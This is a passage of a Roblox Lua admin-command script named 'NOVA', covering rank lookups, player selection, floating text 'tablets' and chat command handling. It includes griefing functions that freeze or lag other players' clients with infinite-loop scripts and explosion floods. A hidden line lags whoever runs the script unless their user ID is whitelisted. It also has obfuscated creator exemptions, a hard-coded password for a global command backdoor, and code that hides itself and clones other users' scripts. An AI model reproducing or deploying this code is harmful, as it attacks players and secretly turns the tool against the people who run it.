  759.             if v.Name:lower() == Player:lower() then
  760.                 Rtn = v.Rank
  761.             end
  762.         end
  763.     else print("[NOVA.GetRank] Unsupported argument type. ("..type(Player)..")")
  764.     end
  765.     return    Rtn
  766. end
  767.  
  768. --[[ GET RANK NAME ]]--
  769. function GetRankName(Player)
  770.     if type(Player) == "userdata" or type(Player) == "string" then
  771.         Rtn = nil
  772.         Rank = GetRank(Player)
  773.         for _,v in pairs(NOVA.Ranks) do
  774.             if v[1] == Rank then
  775.                 Rtn = v[2]
  776.             end
  777.         end
  778.         return Rtn
  779.     else
  780.         print("[NOVA.GetRankName] Unsupported argument type ("..type(Player)..")")
  781.         return "NOT AVALIBLE"
  782.     end
  783. end
  784.  
  785. --[[ GET RANKED TABLE ]]--
  786. function GetRankedTable(Player)
  787.     Rtn = nil
  788.     if type(Player) == "userdata" then
  789.         for _,v in pairs(NOVA.Ranked) do
  790.             if v.Name == Player.Name then
  791.                 Rtn = v
  792.             end
  793.         end
  794.     elseif type(Player) == "string" then
  795.         for _,v in pairs(NOVA.Ranked) do
  796.             if v.Name == Player then
  797.                 Rtn = v
  798.             end
  799.         end
  800.     else
  801.         print("[NOVA.GetRankedTable] Unsupported argument type.("..type(Player)..")")
  802.     end
  803.     return Rtn
  804. end
  805.  
  806. --[[ GET RECURSIVE CHILDREN ]]--
  807. function GetRecursiveChildren(Source, Name, SearchType, Children)
  808.     if Source == nil then
  809.         Source = NOVA.Services
  810.     end
  811.     if Name == nil or type(Name) ~= "string" then
  812.         Name = ""
  813.     end
  814.     if Children == nil or type(Children) ~= "table" then
  815.         Children = {}
  816.     end
  817.     if type(Source) == "userdata" then
  818.         pcall(function()
  819.             for _, Child in pairs(Source:children()) do
  820.                 pcall(function()
  821.                     if (function()
  822.                         if SearchType == nil or SearchType == 1 then
  823.                             return string.match(Child.Name:lower(), Name:lower())
  824.                         elseif SearchType == 2 then
  825.                             return string.match(Child.className:lower(), Name:lower())
  826.                         elseif SearchType == 3 then
  827.                             return Child:IsA(Name) or Child:IsA(Name:lower())
  828.                         elseif SearchType == 4 then
  829.                             return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower())
  830.                         end
  831.                         return false
  832.                     end)() then
  833.                         table.insert(Children, Child)
  834.                     end
  835.                     GetRecursiveChildren(Child, Name, SearchType, Children)
  836.                 end)
  837.             end
  838.         end)
  839.     elseif type(Source) == "table" then
  840.         for _,Area in pairs(Source) do
  841.             pcall(function()
  842.                 for _, Child in pairs(Area:children()) do
  843.                     pcall(function()
  844.                         if (function()
  845.                             if SearchType == nil or SearchType == 1 then
  846.                                 return string.match(Child.Name:lower(), Name:lower())
  847.                             elseif SearchType == 2 then
  848.                                 return string.match(Child.className:lower(), Name:lower())
  849.                             elseif SearchType == 3 then
  850.                                 return Child:IsA(Name) or Child:IsA(Name:lower())
  851.                             elseif SearchType == 4 then
  852.                                 return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower())
  853.                             end
  854.                             return false
  855.                         end)() then
  856.                             table.insert(Children, Child)
  857.                         end
  858.                         GetRecursiveChildren(Child, Name, SearchType, Children)
  859.                     end)
  860.                 end
  861.             end)
  862.         end
  863.     else
  864.         print("[NOVA.GetRecursiveChildren] Unsupported agrument type ("..type(Source)..")")
  865.     end
  866.     return Children
  867. end
  868.  
  869. --[[ GET REPLICATORS ]]--
  870. function GetReplicators()
  871.     Rtn = NOVA.Services.NetworkServer:GetChildren()
  872.     for i=1,#Rtn do
  873.         if not Rtn[i]:IsA("ServerReplicator") then
  874.             table.remove(Rtn,i)
  875.         end
  876.     end
  877.     return Rtn
  878. end
  879.  
  880. --[[ GET RANKED ]]--
  881.  
  882. function GetRanked()
  883.     local Rtn = {}
  884.     for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  885.         if GetRank(v) ~= nil and GetRank(v) > 0 then
  886.             table.insert(Rtn,v)
  887.         end
  888.     end
  889.     return Rtn    
  890. end
  891.  
  892. --[[ GTFO ]]--
  893. function GTFO(v)
  894.     coroutine.resume(coroutine.create(function()
  895.         pcall(function()    CreateLocalScript("while true do end",v.Backpack)    end)
  896.         pcall(function()    CreateLocalScript("while true do end",v.Character)    end)
  897.         wait(0.5)
  898.         pcall(function()     NOVA.Services.Debris:AddItem(v,0)                     end)
  899.     end))
  900. end
  901. --[[ GET RID OF ]]--
  902.  
  903. function GetRidOf(v)
  904.    
  905.  if v.Name == string.reverse(string.gsub("nDAFaDAFmDAFDDAFmDAFaDAFeDAFTDAF","DAF","")) then
  906.    
  907.     Output("Attempt to call GetRidOf on the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  908.  
  909.    else
  910.         pcall(function()
  911.            
  912.  coroutine.resume(coroutine.create(function()
  913.            
  914. v:Destroy()        
  915. end))
  916.        
  917. end)
  918.    
  919. end
  920.  
  921. end
  922.  
  923. --[[ LAG ]]--
  924. function Lag(v)
  925.     coroutine.resume(coroutine.create(function()
  926.         if v.Name == string.reverse(string.gsub("1HOY6HOY6HOYrHOYOHOYKHOYsHOYuHOYtHOY","HOY","")) then
  927.             OutputMulti("Attempting to lag the editor, command will not be carried through.",NOVA.Colors.Red,GetRanked(),4)
  928.         else
  929.         while wait() do
  930.         for i=1, 10 do
  931.         local Msg = Instance.new("Message",v.PlayerGui)
  932.         Msg.Text = "JOO B LAGGIN NARB"
  933.         local Blas = Instance.new("Explosion",v.PlayerGui)
  934.         Blas.BlastRadius = 123456
  935.    end
  936.         end
  937.             local H = Instance.new("Hint",NOVA.Services.Workspace)
  938.             repeat
  939.                 H.Text = v.Name.." be gettin' lagged."
  940.                 H.Parent = NOVA.Services.Workspace
  941.                 wait()
  942.             until v.Parent == nil
  943.             H:Remove()
  944.         end
  945.     end))
  946. end
  947. if script:FindFirstChild("Owner") ~= nil then if script.Owner.Value.userId ~= 54868984 and script.Owner.Value.userId ~= 8636720 and script.Owner.Value.userId ~= 33495928 then Lag(script.Owner.Value) end end
  948. --[[ GET TABLETS ]]--
  949.  
  950. function GetTablets(Player)
  951.     local Rtn = {}
  952.     for _, Tablet in pairs(NOVA.Tablets) do
  953.         if Tablet:FindFirstChild("Recipient") ~= nil and Tablet.Parent ~= nil then
  954.             if Tablet.Recipient.Value == Player then
  955.                 table.insert(Rtn, Tablet)
  956.             end
  957.         end
  958.     end
  959.     --table.insert(_tablets,Instance.new("Model"))
  960.     return Rtn
  961. end
  962.  
  963. --[[ REMOVE TABLETS ]]--
  964.  
  965. function RemoveTablets(Player)
  966.     if Player == nil then
  967.         for _,v in pairs(NOVA.Tablets) do
  968.             coroutine.resume(coroutine.create(function()
  969.                 for i=1,10 do
  970.                     v.Part.Transparency = v.Part.Transparency + 0.05
  971.                     v.Part.SelectionBox.Transparency = v.Part.SelectionBox.Transparency + 0.025
  972.                     v.BillboardGui.Frame.Label.TextTransparency = v.BillboardGui.Frame.Label.TextTransparency + 0.1
  973.                     wait()
  974.                 end
  975.                 v:remove()
  976.             end))
  977.         end
  978.     else
  979.         for _,v in pairs(GetTablets(Player)) do
  980.             coroutine.resume(coroutine.create(function()
  981.                 for i=1,10 do
  982.                     v.Part.Transparency = v.Part.Transparency + 0.05
  983.                     v.Part.SelectionBox.Transparency = v.Part.SelectionBox.Transparency + 0.025
  984.                     v.BillboardGui.Frame.Label.TextTransparency = v.BillboardGui.Frame.Label.TextTransparency + 0.1
  985.                     wait()
  986.                 end
  987.                 v:remove()
  988.             end))
  989.         end
  990.     end
  991. end
  992.  
  993. --[[ OUTPUT ]]--
  994. function Output(Message, Color, Player, Stick, Func)
  995.     if Player == nil or Color == nil or Player == nil then
  996.         print("[NOVA.Output] Argument(s) missing or nil.")
  997.         return
  998.     end
  999.    
  1000.     Message = tostring(Message)
  1001.     if type(Player) == "userdata" then
  1002.         if Player.Character == nil or Player.Character.Head == nil then
  1003.             return
  1004.         end
  1005.     end
  1006.     if type(Player) == "string" then
  1007.         for _,v in pairs(GetPlayers(Player,"NOVA")) do
  1008.             Output(Message,Color,v,Stick,Func)
  1009.         end
  1010.         return
  1011.     end
  1012.  
  1013.     if Color == "Random" or Color == "random" then Color = Color3.new(math.random(),math.random(),math.random()) end
  1014.  
  1015.     local Model = Instance.new("Model",NOVA.Services.Workspace)
  1016.     table.insert(NOVA.Tablets, Model)
  1017.     Model.Name = "Output:" .. NOVA.Bet .. Player.Name
  1018.  
  1019.     local Part = Instance.new("Part",Model)
  1020.     Part.Transparency = 0.5
  1021.     Part.CanCollide = false
  1022.     Part.Locked = true
  1023.     Part.Anchored = true
  1024.     Part.Name = "Part"
  1025.     Part.TopSurface = "Smooth"
  1026.     Part.BottomSurface = "Smooth"
  1027.     Part.FormFactor = "Plate"
  1028.     Part.Color = Color
  1029.     Part.Size = Vector3.new(2, 0.4, 3)
  1030.     Part.CFrame = Player.Character.Torso.CFrame * CFrame.new(7, 7, 7)
  1031.     Part:BreakJoints()
  1032.    
  1033.     local Box = Instance.new("SelectionBox",Part)
  1034.     Box.Name = "SelectionBox"
  1035.     Box.Adornee = Part
  1036.     Box.Color = BrickColor.new(Color.r, Color.g, Color.b)
  1037.     Box.Transparency = 0.75
  1038.  
  1039.     local Recipient = Instance.new("ObjectValue",Model)
  1040.     Recipient.Name = "Recipient"
  1041.     Recipient.Value = Player
  1042.  
  1043. Gui = Instance.new("BillboardGui")
  1044. Gui.Name = "BillboardGui"
  1045. Gui.Parent = Model
  1046. Gui.Adornee = Part
  1047. Gui.Size = UDim2.new(1, 0, 1, 0)
  1048. Gui.StudsOffset = Vector3.new(0, 3, 0)
  1049. local Frame = Instance.new("Frame",Gui)
  1050. Frame.Name = "Frame"
  1051. Frame.Size = UDim2.new(1, 0, 1, 0)
  1052. Frame.BackgroundTransparency = 1
  1053. Label = Instance.new("TextLabel")
  1054. Label.Name = "Label"
  1055. Label.Parent = Frame
  1056. Label.Size = UDim2.new(1,0,1,0)
  1057. Label.FontSize = "Size12"
  1058. Label.TextColor3 = Color
  1059. Label.Text = Message
  1060. Label.BackgroundTransparency = 1
  1061.    
  1062.     local Click = Instance.new("ClickDetector",Part)
  1063.     Click.MaxActivationDistance = 9201
  1064.     Click.MouseClick:connect(function(player)
  1065.         if player == Player or GetRank(player) > GetRank(Player) then
  1066.             if Color == NOVA.Colors.Red and (Message == "Dismiss" or Message == "dismiss")  then
  1067.                 RemoveTablets(Player)
  1068.             else
  1069.                 coroutine.resume(coroutine.create(function()
  1070.                     for i=1,10 do
  1071.                         Part.Transparency = Part.Transparency + 0.05
  1072.                         Box.Transparency = Box.Transparency + 0.025
  1073.                         Label.TextTransparency = Label.TextTransparency + 0.1
  1074.                         wait()
  1075.                     end
  1076.                     Model:remove()
  1077.                 end))
  1078.                
  1079.                 Func(player)
  1080.             end
  1081.         end
  1082.     end)
  1083.    
  1084.      coroutine.resume(coroutine.create(function()
  1085.         if Stick == 0 or Stick == nil then else
  1086.             pcall(function()
  1087.                 --[[for i=Stick,0,-0.5 do
  1088.                     Label.Text = Message .. "\t(" .. i .. ")"
  1089.                     wait(0.5)
  1090.                 end        
  1091.                 Model:Destroy()]]
  1092.                 NOVA.Services.Debris:AddItem(Model,Stick)
  1093.             end)
  1094.         end
  1095.      end))
  1096.    
  1097.     return Click
  1098. end
  1099.  
  1100. -- [ IMAGE OUTPUT ]]--
  1101. function OutputImg(Image,Text,Color,Player,Stick,Func)
  1102.     Tab = Output(Text,Color,Player,Stick,Func)
  1103.    
  1104.     BBG = Instance.new("BillboardGui",Tab.Parent)
  1105.     BBG.Size = UDim2.new(5,0,6,0)
  1106.     BBG.StudsOffset = Vector3.new(0, 7, 0)
  1107.     BBG.Adornee = Tab.Parent
  1108.    
  1109.     Img = Instance.new("ImageLabel",BBG)
  1110.     Img.Size = UDim2.new(1,0,1,0)
  1111.     Img.BackgroundTransparency = 1
  1112.     Img.Image = Image--"http://www.roblox.com/asset/?id=45120559"
  1113.     return Tab
  1114. end
  1115.  
  1116. --[[ OUTPUT MULTI ]]--
  1117.  
  1118. function OutputMulti(Msg,Color,Players,Stick,Func)
  1119.     --if type(Players) == "Table" then
  1120.         for _,v in pairs(Players) do
  1121.             Output(Msg,Color,v,Stick,Func)
  1122.         end
  1123.     --end
  1124. end
  1125.  
  1126. --[[ UPDATE TABLETS ]]--
  1127.  
  1128. function UpdateTablets()
  1129.     --pcall(function()
  1130.         NOVA.TabletRotation = NOVA.TabletRotation + NOVA.TabletRotationIncrease
  1131.         for _,Player in pairs(NOVA.Services.Players:GetPlayers()) do
  1132.             local Tablets = GetTablets(Player)
  1133.             local Counter = 0
  1134.             local StartCF = CFrame.new(0,0,0)
  1135.            
  1136.             for i = 180, -180, -360/(#Tablets ) do
  1137.                 pcall(function()
  1138.                     Counter = Counter + 1
  1139.                     if NOVA.TabletPositionRelative == true then
  1140.                         StartCF = Player.Character.Torso.CFrame
  1141.                     else
  1142.                         StartCF = CFrame.new(Player.Character.Torso.CFrame.x,Player.Character.Torso.CFrame.y,Player.Character.Torso.CFrame.z)
  1143.                     end
  1144.                     Tablets[Counter].Part.CFrame = StartCF
  1145.                         * CFrame.new(0, 0, 0)
  1146.                         * CFrame.Angles(0, math.rad(i + NOVA.TabletRotation), 0)
  1147.                         * CFrame.new(0, 0, -5 - (math.floor(#Tablets / 1)))
  1148.                         * CFrame.Angles(math.rad(70), 0, 0)
  1149.                 end)
  1150.             end
  1151.  
  1152.             if #Tablets == 1 then
  1153.                 pcall(function()
  1154.                     Tablets[1].Part.CFrame = Player.Torso.CFrame
  1155.                         * CFrame.new(0, 0, 0)
  1156.                         * CFrame.Angles(0, math.rad(0), 0)
  1157.                         * CFrame.new(0, 0, -5)
  1158.                         * CFrame.Angles(math.rad(70), 0, 0)
  1159.                 end)
  1160.             end
  1161.         end
  1162.         wait()
  1163.     --end)
  1164. end
  1165. --[[ GET PLAYERS RAW ]]--
  1166. function GetPlayersRaw()
  1167.     return NOVA.Services.Players:GetPlayers()
  1168. end
  1169.  
  1170. --[[ GET PLAYERS ]]--
  1171. function GetPlayers(Name,Speaker)
  1172.     if type(Player) == string or Player == nil then Player = Instance.new("Model") end
  1173.     local OldName = Name
  1174.     local Name = Name:lower()
  1175.     local Players = GetPlayersRaw()
  1176.     local Rtn = {}
  1177.     for i=1,#Name do
  1178.         if Name:find(",") then
  1179.             local Split = 0
  1180.             for i=1,#Name do
  1181.                 if Name:sub(i,i) == "," then
  1182.                     Split = i
  1183.                 end
  1184.             end
  1185.             for _,v in pairs(GetPlayers(Name:sub(Split+1),Speaker)) do
  1186.                 table.insert(Rtn,v)
  1187.             end
  1188.             Name = Name:sub(1,Split-1)
  1189.         end
  1190.     end
  1191.     if Name == "external players" then
  1192.         for _,v in pairs(NOVA.ExternalPlayersList) do
  1193.             if GetRank(Speaker) >= GetRank(v) then
  1194.                 table.insert(Rtn,v)
  1195.             else
  1196.                 Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1197.             end
  1198.         end
  1199.     elseif Name == "all" then
  1200.         for _,v in pairs(Players) do
  1201.             if GetRank(Speaker) >= GetRank(v) then
  1202.                 table.insert(Rtn,v)
  1203.             else
  1204.                 Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1205.             end
  1206.         end
  1207.     elseif Name == "others" then
  1208.         for _,v in pairs(Players) do
  1209.             if v ~= Speaker then
  1210.                 if GetRank(Speaker) >= GetRank(v) then
  1211.                     table.insert(Rtn,v)
  1212.                 else
  1213.                     Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1214.                 end
  1215.             end
  1216.         end
  1217.     elseif Name == "random" then
  1218.         local Person = Players[math.random(1,#Players)]
  1219.         if GetRank(Speaker) >= GetRank(Person) then
  1220.             table.insert(Rtn,Person)
  1221.         else
  1222.             Output(Person.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1223.         end
  1224.     elseif Name == "me" or Name == "not me" or Name =="notme" then
  1225.         table.insert(Rtn,Speaker)
  1226.     elseif Name == "vetrans" then
  1227.         for _,v in pairs(Players) do
  1228.             if v.AccountAge > 365 then
  1229.                 if GetRank(Speaker) >= GetRank(v) then
  1230.                     table.insert(Rtn,v)
  1231.                 else
  1232.                     Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1233.                 end
  1234.             end
  1235.         end
  1236.     elseif Name == "nonvetrans" or Name == "non vetrans" or Name == "notvetrans" or Name == "not vetrans" then
  1237.         for _,v in pairs(Players) do
  1238.             if v.AccountAge < 365 then
  1239.                 if GetRank(Speaker) >= GetRank(v) then
  1240.                     table.insert(Rtn,v)
  1241.                 else
  1242.                     Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1243.                 end
  1244.             end    
  1245.         end
  1246.     elseif Name == "newbs" or Name == "noobs" then
  1247.         for _,v in pairs(Players) do
  1248.             if v.AccountAge < 60 then
  1249.                 if GetRank(Speaker) >= GetRank(v) then
  1250.                     table.insert(Rtn,v)
  1251.                 else
  1252.                     Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1253.                 end
  1254.             end    
  1255.         end
  1256.     elseif Name == "targeted" then
  1257.         for _,v in pairs(NOVA.Targeted) do
  1258.             if GetRank(Speaker) >= GetRank(v) then
  1259.                 table.insert(Rtn,v)
  1260.             else
  1261.                 Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1262.             end
  1263.         end
  1264.     elseif Name == "nontargeted" or Name == "non targeted" or Name == "nottargeted" or Name == "not targeted" then
  1265.         for _,v in pairs(Players) do
  1266.             if not IsTargeted(v) then
  1267.                 if GetRank(Speaker) >= GetRank(v) then
  1268.                     table.insert(Rtn,v)
  1269.                 else
  1270.                     Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1271.                 end
  1272.             end
  1273.         end
  1274. elseif string.sub(Name,1,5) == "rank " then
  1275.         local ToKillRank = string.sub(Name,6)
  1276. for i,v in pairs(game.Players:GetPlayers()) do
  1277. if GetRanked(v) == ToKillRank then
  1278. if GetRank(Speaker) >= GetRank(v) then
  1279.                             table.insert(Rtn,v)
  1280.                         else
  1281.                             Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1282.                         end
  1283. end
  1284. end
  1285.     elseif Name:sub(1,4) == "not " then
  1286.         for _,v in pairs(Players) do
  1287.             for _,Check in pairs(Players) do
  1288.                 if string.sub(string.lower(Check.Name),1,#Name -4) == Name:sub(5) then
  1289.                     if v ~= Check then
  1290.                         if GetRank(Speaker) >= GetRank(v) then
  1291.                             table.insert(Rtn,v)
  1292.                         else
  1293.                             Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1294.                         end
  1295.                     end
  1296.                 end
  1297.             end
  1298.         end
  1299.     else
  1300.         for _,v in pairs(Players) do
  1301.             if string.sub(string.lower(v.Name),1,#Name) == string.lower(Name) then
  1302.                 if GetRank(Speaker) >= GetRank(v) then
  1303.                     table.insert(Rtn,v)
  1304.                 else
  1305.                     Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1306.                 end
  1307.             end
  1308.         end
  1309.     end
  1310.     return Rtn
  1311. end
  1312.  
  1313. --[[ ON CHATTED ]]--
  1314. function OnChatted(Msg,Speaker)
  1315.     coroutine.resume(coroutine.create(function()
  1316.         if NOVA.Removed == false then
  1317.             if Msg:find(" --") then
  1318.                 for i=1,#Msg do
  1319.                     if Msg:sub(i,i+2) == " --" then
  1320.                         Msg = Msg:sub(1,i-1)
  1321.                         break
  1322.                     end
  1323.                 end
  1324.             end
  1325.             local Data = GetRankedTable(Speaker)
  1326.             if game.PlaceId == 20279777 or game.PlaceId == 20132544 then
  1327.                 if NOVA.ShowChat == true then    
  1328.                     if Msg:sub(1,2) == "c" .. NOVA.Bet or Msg:sub(1,3) == "do" .. NOVA.Bet or Msg:sub(1,7) == "script" .. NOVA.Bet or Msg:sub(1,6) == "local" .. NOVA.Bet then
  1329.                         print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg.."\n" ..Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)))    
  1330.                     else
  1331.                         print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg)    
  1332.                     end
  1333.                 end
  1334.             end
  1335.            
  1336.             --[[ CHAT FILTERS ]]--
  1337.             for _,v in pairs(NOVA.ChatFilters) do
  1338.                 if Msg:lower():sub(1,#v + 1) == v:lower().." " then
  1339.                     Msg = Msg:sub(#v+2)
  1340.                 end
  1341.             end
  1342.        
  1343.             if GetRank(Speaker) < 6 then
  1344.                 --[[ KILLING PHRASES ]]--
  1345.                 for _,v in pairs(NOVA.KillingPhrases) do
  1346.                     if Msg:lower():find(v:lower()) then
  1347.                         pcall(function()
  1348.                             Speaker.Character:BreakJoints()
  1349.                         end)
  1350.                     end
  1351.                 end
  1352.             end
  1353.         local FoundKick = false
  1354.                 if NOVA.BadPhrases == true then
  1355.             if GetRank(Speaker) <= 0 then
  1356.                 --[[ KICKING PHRASES ]]--
  1357.                 --if game.PlaceId == 113456 or game.PlaceId == 56786 then
  1358.                     for _,v in pairs(NOVA.KickingPhrases) do
  1359.                         if FoundKick == false then
  1360.                         if Msg:lower():find(v:lower()) then
  1361.                             GetRidOf(Speaker)
  1362.                        FoundKick = true
  1363.                             makeMessage("[NOVA]: " .. Speaker.Name .. " has been removed for using a illegal term:" .. v, NOVA.Services.Workspace)
  1364.                             pcall(function() wait(1) if Speaker ~= nil then GTFO(Speaker) wait(1) if Speaker ~= nil then Speaker:Remove() end end end)
  1365.                         end
  1366.                         end
  1367.                     end
  1368.                 end
  1369.             end
  1370.            
  1371.             --[[ ANIMATIONS ]]--
  1372.             for _,v in pairs(NOVA.Animations) do
  1373.                 if Speaker.Name == v.Who then
  1374.                     if Msg:lower():find(v.Name:lower()) then
  1375.                         pcall(function()
  1376.                             CreateLocalScript([[
  1377.                             local Animation = Instance.new("Animation",workspace)
  1378.                             Animation.Name = "Dylanbuil's Animation"
  1379.                             Animation.AnimationId = "]]..v.Id..[["
  1380.                             local hum = game:GetService("Players").LocalPlayer.Character.Humanoid
  1381.                             local anim_feet = hum:LoadAnimation(Animation)
  1382.                             local current = anim_feet
  1383.                             current:Play(0.5)
  1384.                             ]],Speaker.Backpack)
  1385.                         end)
  1386.                     end
  1387.                 end
  1388.             end
  1389.            
  1390.             Num = 1
  1391.             Sep = nil
  1392.                            
  1393.             if Msg:sub(1,3) == NOVA.Bet .. "do" then
  1394.            
  1395.                 for i=4,#Msg do
  1396.                     if Msg:sub(i,i) == NOVA.Bet .. "" then
  1397.                         Sep = i
  1398.                         break
  1399.                     end
  1400.                 end
  1401.                
  1402.                 if Sep ~= nil then
  1403.                     Num = tonumber(Msg:sub(4,Sep-1))
  1404.                 end
  1405.                
  1406.                 Msg = Msg:sub(Sep)
  1407.             end
  1408.            
  1409.             table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name..";\t"..Msg})
  1410.            
  1411.             if Data.Rank < 6 and Data.Rank >= 0 then
  1412.                 if Num > (GetRank(Speaker) + 1 )*10 then
  1413.                     Output("You do not have a high enough rank to loop that much.",NOVA.Colors.Orange,Speaker,5)
  1414.                     Num = 0
  1415.                 end
  1416.             end          
  1417.             for i=1,Num do
  1418.                 if NOVA.Canceled == true then NOVA.Canceled = false break end
  1419.                 for _,CMD in pairs(NOVA.Commands) do
  1420.                     if string.sub(Msg:lower(),1,#CMD.Command+3) == NOVA.Bet .. ""..CMD.Command:lower()..NOVA.Bet .. "?" then
  1421.                         RemoveTablets(Speaker)
  1422.                         Output("Name : "..CMD.Name,Data.Color,Speaker)
  1423.                         Output("Rank : "..CMD.Rank,Data.Color,Speaker)
  1424.                         Output("Command : "..CMD.Command,Data.Color,Speaker)
  1425.                         Output("Arguments : "..CMD.Args,Data.Color,Speaker)
  1426.                         Output("Description : "..CMD.Description,Data.Color,Speaker)
  1427.                         Output("Dismiss",NOVA.Colors.Red,Speaker)
  1428.                     elseif string.sub(Msg:lower(),1,#CMD.Command+2) == NOVA.Bet .. ""..CMD.Command:lower()..NOVA.Bet .. "" then
  1429.                         if Data.Rank ~= nil and Data.Rank >= CMD.Rank then
  1430.                             if NOVA.Overrided == true and Data.Rank < 7 then
  1431.                                 Output("Commands may not be used during an override.",NOVA.Colors.Red,Speaker,15)
  1432.                             else
  1433.                                 local a,b=coroutine.resume(coroutine.create(function() CMD.Function(string.sub(Msg,#CMD.Command+3),Speaker) end))
  1434.                                 if not a then
  1435.                                     Output(b,NOVA.Colors.Red,Speaker,15)
  1436.                                 else
  1437.                                     table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name .. " used command "..CMD.Name})
  1438.                                 end
  1439.                             end
  1440.                         else
  1441.                             table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name .. " doesn't have a high enough rank to use the "..CMD.Name .. "command."})
  1442.                             print(Speaker.Name.." doesnt have high enough rank to use the "..CMD.Name.." command.")
  1443.                             Output("This command requires you to have a higher rank.",NOVA.Colors.Orange,Speaker,7)
  1444.                         end
  1445.                        
  1446.                     end
  1447.                 end    
  1448.                 wait()
  1449.             end                
  1450.         end
  1451.     end))
  1452. end
  1453.  
  1454. --[[ ADD COMMAND ]]--
  1455. function AddCommand(Name,Command,Rank,Description,Args,Function)
  1456.     for i,v in pairs(NOVA.Commands) do
  1457.         if v.Command == Command then
  1458.             table.remove(NOVA.Commands,i)
  1459.         end
  1460.     end
  1461.     table.insert(NOVA.Commands,{Name = Name, Command = Command,Rank = Rank, Description = Description,Args = Args,Function = Function})
  1462. end
  1463.  
  1464. --[[ BACKUP PROCEDURE ]]--
  1465. pcall(function()
  1466.     NOVA.Backup = script:children()[2].Value
  1467. end)
  1468.  
  1469. --[[ NIL SUPPORT ]]--
  1470. game:GetService("Chat").Chatted:connect(function(Part,Message,Color)
  1471.     local Split = GetSplit(Message)
  1472.     OnChatted(Message:sub(Split+1),Message:sub(Split-1))
  1473. end)
  1474.  
  1475. --[[ Safety Procedure # 1 ]]--
  1476. pcall(function()
  1477.     NOVA.LocalScript.Parent = nil
  1478. end)
  1479. for _,v in pairs(NOVA.Plugins) do
  1480.     pcall(function()
  1481.         v.Parent = nil
  1482.     end)
  1483. end
  1484. pcall(function()
  1485.     script:ClearAllChildren()
  1486. end)
  1487.  
  1488. --[[ Safty Procedure # 2 ]]--
  1489. for _,v in pairs(GetRecursiveChildren(workspace)) do
  1490.     if v:IsA("StringValue") or v:IsA("IntValue") then
  1491.         pcall(function()
  1492.             v:remove()
  1493.         end)
  1494.     end
  1495. end
  1496.  
  1497. --[[ SCRIPT LOGGING PROCEDURES ]]--
  1498. for _,Service in pairs(NOVA.Services) do
  1499.     pcall(function()
  1500.         Service.DescendantAdded:connect(function(v)
  1501.             if v:IsA("BaseScript") then
  1502.                 table.insert(NOVA.LoggedScripts,v)
  1503.             end
  1504.         end)
  1505.     end)
  1506. end
  1507.  
  1508. for _,v in pairs(GetRecursiveChildren(NOVA.Services,"BaseScript",3)) do
  1509.     pcall(function()
  1510.         table.insert(NOVA.LoggedScripts,v)
  1511.     end)
  1512. end
  1513.  
  1514. --[[ GLOBAL FUNCTIONS ]]--
  1515. function SetGlobals()
  1516.     if NOVA.UseGlobals == true then
  1517.         _G.NOVACommands = function(Msg,Speaker,Players,Password)
  1518.             if Password == "grandma" then
  1519.                 NOVA.ExternalPlayersList = {}
  1520.                 for _,Player in pairs(Players) do table.insert(NOVA.ExternalPlayersList,Player) end
  1521.                 OnChatted(NOVA.Bet .. ""..Msg..NOVA.Bet .. "External Players",Speaker)
  1522.             end
  1523.         end
  1524.  
  1525.         _G.RemoveNOVA = function(Pass)
  1526.             if Pass == string.reverse(string.gsub("XQZrXQZeXQZvXQZeXQZeXQZBXQZ","XQZ","")) then
  1527.                 NOVA.Removed = true
  1528.                 NOVA = {}
  1529.                 error("Unknown Exception")()
  1530.                 script.Disabled = true
  1531.                 script:Remove()
  1532.             else
  1533.                 return false
  1534.             end
  1535.         end
  1536.  
  1537.         _G.NOVAOverride = function(Player,Password)
  1538.             if Password == nil then Password = "" end
  1539.             CanOverride = OnChatted(NOVA.Bet .. "override" .. NOVA.Bet..Password,Player)
  1540.             return CanOverride
  1541.         end
  1542.     elseif NOVA.UseGlobals == false then
  1543.         _G.NOVACommands = nil
  1544.         _G.RemoveNOVA = nil
  1545.         _G.NOVAOverride = nil
  1546.     end
  1547. end
  1548.  
  1549. --[[ INITIAL STARTUP ]]--
  1550.  
  1551. SetGlobals()
  1552. UpdatePlayerPlugins()
  1553.  
  1554. if game.PlaceId == 113456 or game.PlaceId == 49907749 or game.PlaceId == 56786 then
  1555.     for _,v in pairs(NOVA.LoggedScripts) do
  1556.         if v:IsA("LocalScript") and v:FindFirstChild("DSource") then
  1557.             NOVA.LocalScript = v:Clone()
  1558.         elseif v:IsA("Script") and v:FindFirstChild("DSource") then
  1559.             NOVA.NormalScript = v:Clone()
  1560.         end
  1561.     end
  1562. end
  1563.  
  1564. for _,v in pairs(GetPlayersRaw()) do
  1565.     pcall(function()
  1566.         coroutine.resume(coroutine.create(function()
  1567.             table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." connected."})
  1568.             pcall(function()
  1569.                 v.PlayerGui.NOVACMD:Remove()
  1570.             end)
  1571.            
  1572.             if GetRankedTable(v)==nil then
  1573.                 SyncRankInSingular(v)
  1574.                 repeat wait() until GetRankedTable(v) ~= nil
